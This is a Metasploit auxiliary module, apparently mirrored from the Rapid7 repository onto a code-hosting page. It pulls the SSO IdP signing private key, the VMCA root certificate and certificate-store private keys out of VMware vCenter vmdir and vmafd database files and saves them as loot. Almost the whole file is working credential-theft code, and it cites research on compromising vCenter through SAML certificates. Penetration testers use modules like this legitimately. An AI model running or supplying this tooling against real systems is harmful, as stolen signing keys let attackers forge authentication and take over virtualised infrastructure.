Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/vmware/vcenter_offline_mdb_extract.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasploit/framework/credential_collection'67class MetasploitModule < Msf::Auxiliary8include Msf::Auxiliary::Report910def initialize(info = {})11super(12update_info(13info,14'Name' => 'VMware vCenter Extract Secrets from vmdir / vmafd DB File',15'Description' => %q{16Grab certificates from the vCenter server vmdird and vmafd17database files and adds them to loot. The vmdird MDB database file18can be found on the live appliance under the path19/storage/db/vmware-vmdir/data.mdb, and the DB vmafd is under path20/storage/db/vmware-vmafd/afd.db. The vmdir database contains the21IdP signing credential, and vmafd contains the vCenter certificate22store. This module will accept either file from a live vCenter23appliance, or from a vCenter appliance backup archive; either or24both files can be supplied.25},26'Author' => 'npm[at]cesium137.io',27'Platform' => [ 'linux' ],28'DisclosureDate' => '2022-05-10',29'License' => MSF_LICENSE,30'References' => [31['URL', 'https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/']32],33'Actions' => [34[35'Dump',36{37'Description' => 'Dump secrets from vCenter files'38}39]40],41'DefaultAction' => 'Dump',42'Notes' => {43'Stability' => [ CRASH_SAFE ],44'Reliability' => [ REPEATABLE_SESSION ],45'SideEffects' => [ ARTIFACTS_ON_DISK ]46}47)48)4950register_options([51OptPath.new('VMDIR_MDB', [ false, 'Path to the vmdir data.mdb file' ]),52OptPath.new('VMAFD_DB', [ false, 'Path to the vmafd afd.db file' ]),53OptString.new('VC_IP', [ false, '(Optional) IPv4 address to attach to loot' ])54])5556register_advanced_options([57OptInt.new('MDB_CHUNK_SIZE', [ true, 'Block size to use when scanning MDB file', 4096 ]),58OptInt.new('MDB_STARTING_OFFSET', [ true, 'Starting offset for MDB file binary scan', 0 ])59])60end6162def loot_host63datastore['VC_IP'] || '127.0.0.1'64end6566def vmdir_file67datastore['VMDIR_MDB']68end6970def vmafd_file71datastore['VMAFD_DB']72end7374def run75unless vmdir_file || vmafd_file76print_error('Please specify the path to at least one vCenter database file (VMDIR_MDB or VMAFD_DB)')77return78end79if vmdir_file80print_status("Extracting vmwSTSTenantCredential from #{vmdir_file} ...")81extract_idp_cert82end83if vmafd_file84print_status("Extracting vSphere platform certificates from #{vmafd_file} ...")85extract_vmafd_certs86end87end8889def extract_vmafd_certs90db = SQLite3::Database.open(vmafd_file)91db.results_as_hash = true92unless (vecs_entry_alias = db.execute('SELECT DISTINCT Alias FROM CertTable WHERE PrivateKey NOT NULL;'))93fail_with(Msf::Exploit::Failure::NoTarget, 'Empty Alias list returned from CertTable')94end95vecs_entry_alias.each do |vecs_alias|96store_label = vecs_alias['Alias'].upcase97unless (res = db.execute("SELECT PrivateKey, CertBlob FROM CertTable WHERE Alias = '#{store_label}';").first)98fail_with(Msf::Exploit::Failure::NoTarget, "Could not extract CertTable Alias '#{store_label}'")99end100priv_pem = res['PrivateKey'].encode('utf-8').delete("\000")101pub_pem = res['CertBlob'].encode('utf-8').delete("\000")102begin103key = OpenSSL::PKey::RSA.new(priv_pem)104cert = OpenSSL::X509::Certificate.new(pub_pem)105p = store_loot(store_label, 'PEM', loot_host, key.to_pem.to_s, "#{store_label}.key", "vCenter #{store_label} Private Key")106print_good("#{store_label} key: #{p}")107p = store_loot(store_label, 'PEM', loot_host, cert.to_pem.to_s, "#{store_label}.pem", "vCenter #{store_label} Certificate")108print_good("#{store_label} cert: #{p}")109rescue OpenSSL::PKey::PKeyError110print_error("Could not extract #{store_label} private key")111rescue OpenSSL::X509::CertificateError112print_error("Could not extract #{store_label} certificate")113end114end115rescue SQLite3::NotADatabaseException => e116fail_with(Msf::Exploit::Failure::NoTarget, "Error opening SQLite3 database '#{vmafd_file}': #{e.message}")117rescue SQLite3::SQLException => e118fail_with(Msf::Exploit::Failure::NoTarget, "Error calling SQLite3: #{e.message}")119end120121def extract_idp_cert122sts_pem = nil123unless (bytes = read_mdb_sts_block(vmdir_file, datastore['MDB_CHUNK_SIZE'], datastore['MDB_STARTING_OFFSET']))124fail_with(Msf::Exploit::Failure::NoTarget, "Invalid vmdird database '#{vmdir_file}': unable to locate TenantCredential-1 in binary stream")125end126idp_key = get_sts_key(bytes)127idp_key_pem = idp_key.to_pem.to_s128get_sts_pem(bytes).each do |stscert|129idp_cert_pem = stscert.to_pem.to_s130case stscert.check_private_key(idp_key)131when true # Private key associates with public cert132sts_pem = "#{idp_key_pem}#{idp_cert_pem}"133p = store_loot('idp', 'PEM', loot_host, idp_key_pem, 'SSO_STS_IDP.key', 'vCenter SSO IdP private key')134print_good("SSO_STS_IDP key: #{p}")135p = store_loot('idp', 'PEM', loot_host, idp_cert_pem, 'SSO_STS_IDP.pem', 'vCenter SSO IdP certificate')136print_good("SSO_STS_IDP cert: #{p}")137when false # Private key does not associate with this cert (VMCA root)138p = store_loot('vmca', 'PEM', loot_host, idp_cert_pem, 'VMCA_ROOT.pem', 'vCenter VMCA root certificate')139print_good("VMCA_ROOT cert: #{p}")140end141end142unless sts_pem # We were unable to link a public and private key together143fail_with(Msf::Exploit::Failure::NoTarget, 'Unable to associate IdP certificate and private key')144end145end146147def read_mdb_sts_block(file_name, chunk_size, offset)148bytes = nil149file = File.open(file_name, 'rb')150while offset <= file.size - chunk_size151buf = File.binread(file, chunk_size, offset + 1)152if buf.match?(/cn=tenantcredential-1/i) && buf.match?(/[\x30\x82](.{2})[\x30\x82]/n) && buf.match?(/[\x30\x82](.{2})[\x02\x01\x00]/n)153target_offset = offset + buf.index(/cn=tenantcredential-1/i) + 1154bytes = File.binread(file, chunk_size * 2, target_offset)155break156end157offset += chunk_size158end159bytes160rescue StandardError => e161fail_with(Msf::Exploit::Failure::Unknown, "Exception in #{__method__}: #{e.message}")162ensure163file.close164end165166def read_der(bytes)167der_len = (bytes[2..3].unpack('H*').first.to_i(16) + 4).to_i168unless der_len <= bytes.length - 1169fail_with(Msf::Exploit::Failure::Unknown, 'Malformed DER: byte length exceeds working buffer size')170end171bytes[0..der_len - 1]172end173174def get_sts_key(bytes)175working_offset = bytes.unpack('H*').first.index(/3082[0-9a-f]{4}020100/) / 2 # PKCS1 magic bytes176byte_len = bytes.length - working_offset177key_bytes = read_der(bytes[working_offset, byte_len])178key_b64 = Base64.strict_encode64(key_bytes).scan(/.{1,64}/).join("\n")179key_pem = "-----BEGIN PRIVATE KEY-----\n#{key_b64}\n-----END PRIVATE KEY-----"180vprint_status("key_pem:\n#{key_pem}")181OpenSSL::PKey::RSA.new(key_pem)182rescue OpenSSL::PKey::PKeyError183# fail_with(Msf::Exploit::Failure::NoTarget, 'Failure during extract of PKCS#1 RSA private key')184print_error('Failure during extract of PKCS#1 RSA private key')185end186187def get_sts_pem(bytes)188idp_certs = []189working_offset = bytes.unpack('H*').first.index(/3082[0-9a-f]{4}3082/) / 2 # x509v3 magic bytes190byte_len = bytes.length - working_offset191working_bytes = bytes[working_offset, byte_len]192[4, 8].each do |offset|193der_bytes = read_der(working_bytes)194der_b64 = Base64.strict_encode64(der_bytes).scan(/.{1,64}/).join("\n")195der_pem = "-----BEGIN CERTIFICATE-----\n#{der_b64}\n-----END CERTIFICATE-----"196vprint_status("der_pem:\n#{der_pem}")197idp_certs << OpenSSL::X509::Certificate.new(der_pem)198next_offset = working_offset + der_bytes.length + offset - 1199working_offset = next_offset200byte_len = bytes.length - working_offset201working_bytes = bytes[working_offset, byte_len]202end203idp_certs204rescue OpenSSL::X509::CertificateError205# fail_with(Msf::Exploit::Failure::NoTarget, 'Failure during extract of x509v3 certificate')206print_error('Failure during extract of x509v3 certificate')207end208end209210211